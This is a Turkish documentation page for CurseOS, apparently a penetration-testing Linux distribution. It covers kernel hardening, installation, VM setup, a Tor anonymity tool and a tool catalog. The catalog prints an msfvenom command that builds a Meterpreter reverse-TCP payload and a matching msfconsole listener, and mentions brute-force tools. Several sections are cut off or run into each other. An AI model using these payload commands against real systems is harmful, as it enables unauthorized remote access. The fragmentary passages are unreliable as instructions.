Yapmak istediğiniz işlemi yazın veya aşağıdaki kategorilerden birini seçin. İhtiyacınız olan tam CurseOS komutu anında oluşturulur ve tek tıkla kopyalanır.
🔍
1. Sistem Mimarisi & Sertleştirilmiş Çekirdek
CurseOS, kritik siber güvenlik operasyonlarında operasyonel güvenliği en üst düzeye çıkarmak için optimize edilmiştir. Temelini Ubuntu 24.04 LTS (Noble Numbat) minimal çekirdeğinden alır ve üzerine özel Linux 6.8 kernel self-protection mekanizmaları entegre edilmiştir.
Çekirdek Düzeyinde Güvenlik Sertleştirmesi (Sysctl Hardening)
Sistem, /etc/sysctl.d/99-curseos-hardening.conf altında tanımlanan aşağıdaki çekirdek koruma kurallarıyla önyüklenir:
/etc/sysctl.d/99-curseos-hardening.conf
# Çekirdek bellek işaretçilerini yetkisiz kullanıcılardan gizle
kernel.kptr_restrict = 2
# dmesg çekirdek log tamponuna sıradan kullanıcıların erişimini engelle
kernel.dmesg_restrict = 1
# Ptrace kısıtlaması: Yalnızca root veya üst süreçler ptrace yapabilir
kernel.yama.ptrace_scope = 2
# Yetkisiz kullanıcıların eBPF çalıştırmasını bloke et
kernel.unprivileged_bpf_disabled = 1
# Bellek koruma: ASLR rastgelelik entropisini maksimuma çıkar
vm.mmap_rnd_bits = 32
vm.mmap_rnd_compat_bits = 16
# Sembolik bağlantı ve FIFO yarış durumu (race condition) saldırılarını engelle
fs.protected_symlinks = 1
fs.protected_hardlinks = 1
fs.protected_fifos = 2
fs.protected_regular = 2
# SYN Flood ve IP Spoofing koruması
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
CurseOS Dosya Sistemi Yerleşimi
Dizin Yolu
Yetki
İşlev ve Açıklama
/usr/local/bin/curse
rwxr-xr-x
Ana siber güvenlik ve anonimlik orkestrasyon ikiliği.
/usr/local/bin/setupnow
rwxr-xr-x
Çift dilli canlı ncurses disk bölümleme ve sistem kurulum motoru.
/usr/local/bin/curseos-desktop
rwxr-xr-x
Masaüstü ortamı (KDE, XFCE, GNOME) değiştirici ve yapılandırma yöneticisi.
/usr/local/bin/curseos-wallpaper-apply
rwxr-xr-x
4 katmanlı evrensel arka plan eşitleme ve ekran çözünürlük ölçekleyici.
/usr/local/share/curseos/
r-xr-xr-x
CurseOS HD duvar kağıtları, amblem logoları ve profil şablonları.
2. ISO İndirme & Kriptografik Bütünlük
CurseOS kurulum medyasını resmi sunuculardan indirirken imajın kurcalanmadığını doğrulamak kritik bir güvenlik adımıdır.
Resmi İndirme Bağlantıları
Terminal İndirme Komutları (Wget & cURL)
# Wget ile kesintisiz indirme
wget -c https://releases.curseos.org/v1.0/curseos-1.0-phantom-amd64.iso
# Veya cURL ile indirme
curl -C - -O https://releases.curseos.org/v1.0/curseos-1.0-phantom-amd64.iso
SHA-256 Kriptografik Bütünlük Doğrulaması
İndirdiğiniz dosyanın bayt bayt resmi sürümle eşleştiğini doğrulamak için terminalde şu komutu çalıştırın:
Önemli Uyarı:dd komutu hedef sürücüyü tamamen sıfırlar. lsblk komutunu çalıştırarak USB diskinizin gerçek harfini (örneğin /dev/sdb) tespit ettiğinizden emin olun.
CurseOS, modern grafiksel kurulum araçlarının sanal makinelerde veya eski GPU'larda çökmesini önlemek amacıyla özel geliştirilmiş yüksek kararlılığa sahip setupnow ncurses kurulum motoru ile gelir.
Kurulum Aracını Başlatma
sudo setupnow
1Hedef Disk Seçimi (Target Disk Discovery)
Kurulum aracı lsblk çıktısını analiz ederek sistemdeki tüm depolama birimlerini (SATA SSD /dev/sda, NVMe /dev/nvme0n1 veya sanal disk /dev/vda) listeler. Kurulumun yapılacağı diski seçin.
2Dil ve Bölge Ayarı (Language & Locale)
Sistem dilini belirleyin: English (US) veya Türkçe (TR). Seçilen dil; GRUB menüsü, TTY oturum açma ekranı, masaüstü yöneticisi ve varsayılan sistem değişkenlerine (LANG=tr_TR.UTF-8) anında işlenir.
3Klavye Düzeni (Keyboard Layout)
Klavye haritasını seçin: Türkçe Q klavye (tr), Türkçe F klavye, İngilizce (us) veya Almanca.
4Hostname ve Kullanıcı Hesapları
Sistem için ağ adı (varsayılan: curseos) ve günlük operasyonlar için bir kullanıcı adı ve parola belirleyin. Belirlenen kullanıcı otomatik olarak sudo, wireshark ve netdev gruplarına dahil edilir.
5Otomatik Bölümleme ve Dosya Sistemi Dağıtımı
setupnow hedef disk üzerinde GPT tablosu oluşturur; 512 MB boyutunda FAT32 EFI Sistem Bölümü (ESP) ve kalan alanda ext4 kök (/) bölümü hazırlar. Canlı medyadaki tüm sistem dosyaları rsync -aAXv ile hedef bölüme aktarılır.
6GRUB2 EFI Önyükleyici Yapılandırması
Önyükleyici, hedef sistemin EFI bölümüne grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=CurseOS komutuyla yazılır ve NVRAM kayıtları güncellenir.
4. Sanallaştırma & Donanım Kurulumu
CurseOS, donanım seviyesinde sanallaştırma teknolojileriyle (KVM, VMware, VirtualBox) tam entegre çalışacak şekilde optimize edilmiştir.
QEMU / KVM Doğrudan Çalıştırma
En yüksek I/O ve işlemci performansını elde etmek için KVM donanım ivmelendirmesini kullanın:
QEMU Başlatma Komutu
# 1. 30 GB Sanal Disk Oluştur
qemu-img create -f qcow2 curseos-disk.qcow2 30G
# 2. ISO ile Boot Et ve Kuruluma Başla
qemu-system-x86_64 -enable-kvm -cpu host -smp 4 -m 4096 \
-hda curseos-disk.qcow2 -cdrom curseos-1.0.iso -boot d \
-vga virtio -net nic,model=virtio -net user
# 3. Kurulum Sonrası Kurulu Diskten Başlat
qemu-system-x86_64 -enable-kvm -cpu host -smp 4 -m 4096 \
-hda curseos-disk.qcow2 -boot c \
-vga virtio -net nic,model=virtio -net user
VirtualBox En İyi Yapılandırma Ayarları
Tür: Linux • Sürüm: Ubuntu (64-bit)
Sistem > Anakart: "EFI'yi Etkinleştir (yalnızca özel İS'ler)" seçeneğini işaretleyin.
Hedef web uygulamasının güvenlik başlıklarını, SSL/TLS şifreleme kalitesini, robots.txt ve hassas dizinlerini inceler.
curse audit Kullanımı
curse audit https://target.internal
curse anon • Tor Şeffaf Yönlendirme ve DNS Sızıntı Kilidi
Sistem seviyesinde tüm TCP bağlantılarını yerel Tor servisine yönlendirir ve DNS isteklerini şifreler.
curse anon Alt Komutları
curse anon start # Tor şeffaf vekili ve DNS kilidini devreye al
curse anon status # Aktif dış IP adresini ve Tor devresini denetle
curse anon newnym # Çıkış düğümünü ve IP adresini hemen değiştir
curse anon stop # Doğrudan internet bağlantısına güvenle geri dön
curse wordlist • Hedefe Yönelik Parola Listesi Üreteci
CurseOS, birden fazla masaüstü ortamını yan yana çalıştırabilen modüler bir yapıya sahiptir. curseos-desktop aracı ile ortamlar arasında geçiş yapabilirsiniz:
Masaüstü Değiştirme Komutları
curseos-desktop kde # KDE Plasma 5/6 Siber Kızıl Ortamına Geç
curseos-desktop xfce # XFCE4 Taktiksel Hızlı Hafif Ortama Geç
curseos-desktop gnome # GNOME 46 Modern İş İstasyonu Ortamına Geç
curseos-desktop cinnamon # Geleneksel Çift Panelli Menü Düzenine Geç
7. Ekran Motoru & Duvar Kağıdı Eşitleme
Çözünürlük değişikliklerinde veya sanal makine penceresi yeniden boyutlandırıldığında curseos-wallpaper-apply betiği 4 farklı masaüstü katmanına doğrudan komut göndererek arka planı kusursuz ölçekler:
KDE Plasma: DBus üzerinden JavaScript Plasma Scripting motorunu tetikler.
XFCE4:xfconf-query ile tüm aktif monitörlerin last-image kanallarını günceller.
GNOME / Cinnamon:gsettings set org.gnome.desktop.background picture-uri kanalını günceller.
Saf Pencere Yöneticileri:feh --bg-fill veya nitrogen ile donanım katmanını besler.
8. Siber Araçlar Kataloğu & Playbook
CurseOS bünyesinde yer alan araçların gerçek operasyonel kullanım örnekleri:
Metasploit Framework (msfconsole & msfvenom)
msfvenom Payload & Dinleyici Başlatma
# 1. 64-bit Linux Meterpreter ELF Payload Üret
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
# 2. Metasploit Dinleyiciyi Tek Satırda Başlat
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit"
Gobuster • Dizin ve Sanal Host (vhost) Kaba Kuvvet Saldırısı